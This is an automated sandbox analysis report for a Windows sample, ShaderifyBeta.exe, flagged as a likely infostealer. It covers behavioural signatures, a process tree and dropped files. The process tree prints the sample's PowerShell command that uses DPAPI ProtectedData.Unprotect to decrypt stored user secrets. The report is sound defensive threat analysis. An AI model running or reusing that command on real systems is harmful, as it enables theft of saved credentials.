Analysis

  • max time kernel
    122s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    14/06/2024, 01:59

General

  • Target
    ShaderifyBeta.exe
  • Size 120.4MB
  • Sample240614-ces93avdpn
  • SHA256 d898a8bd9a2bb747478d8abc4f10352ece031f99781a6d0f97b4782619982325
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2696
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,171,184,89,108,197,12,5,70,191,218,102,88,220,255,194,51,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,213,6,244,122,172,242,133,124,144,14,46,156,133,112,153,244,184,25,32,24,145,44,180,114,239,172,138,249,90,173,80,135,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,53,130,68,0,2,103,183,200,180,233,138,67,72,12,61,145,168,222,160,222,76,253,20,136,182,211,116,131,181,181,115,35,48,0,0,0,147,190,125,84,251,117,151,193,79,63,62,190,244,38,147,117,151,25,108,227,118,255,187,227,20,92,250,183,25,201,17,35,189,62,31,206,97,211,240,41,205,137,14,69,250,45,213,214,64,0,0,0,13,64,28,82,189,58,142,168,205,245,107,181,126,78,187,57,100,107,249,68,212,60,40,129,141,53,148,119,45,212,173,245,254,27,60,245,206,51,113,104,113,85,192,107,249,88,6,80,83,20,95,15,94,90,26,186,67,123,20,63,11,237,91,90), $null, 'CurrentUser')"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,171,184,89,108,197,12,5,70,191,218,102,88,220,255,194,51,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,213,6,244,122,172,242,133,124,144,14,46,156,133,112,153,244,184,25,32,24,145,44,180,114,239,172,138,249,90,173,80,135,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,53,130,68,0,2,103,183,200,180,233,138,67,72,12,61,145,168,222,160,222,76,253,20,136,182,211,116,131,181,181,115,35,48,0,0,0,147,190,125,84,251,117,151,193,79,63,62,190,244,38,147,117,151,25,108,227,118,255,187,227,20,92,250,183,25,201,17,35,189,62,31,206,97,211,240,41,205,137,14,69,250,45,213,214,64,0,0,0,13,64,28,82,189,58,142,168,205,245,107,181,126,78,187,57,100,107,249,68,212,60,40,129,141,53,148,119,45,212,173,245,254,27,60,245,206,51,113,104,113,85,192,107,249,88,6,80,83,20,95,15,94,90,26,186,67,123,20,63,11,237,91,90), $null, 'CurrentUser')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2600
    • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
      "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1184,5356090770622232681,18108122539326189700,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1200 /prefetch:2
      2⤵
        PID:2596
      • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1184,5356090770622232681,18108122539326189700,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1580 /prefetch:8
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2036
      • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1184,5356090770622232681,18108122539326189700,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1348 /prefetch:2
        2⤵
          PID:1944

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            found_files.zip

            • Path C:\Users\Admin\AppData\Local\Temp\found_files.zip
            • Size 22B
            • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
            • MD5 SHA1 SHA512

            edacb0f4-1e41-4728-876b-03973e4b319e.tmp.node

            • Path \Users\Admin\AppData\Local\Temp\edacb0f4-1e41-4728-876b-03973e4b319e.tmp.node
            • Size 1.4MB
            • SHA256 6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c
            • MD5 SHA1 SHA512 SSDEEP

            memory/2596-20-0x0000000000860000-0x0000000000861000-memory.dmp

            memory/2596-52-0x0000000077B80000-0x0000000077B81000-memory.dmp

            memory/2600-12-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

            memory/2600-13-0x0000000002720000-0x0000000002728000-memory.dmp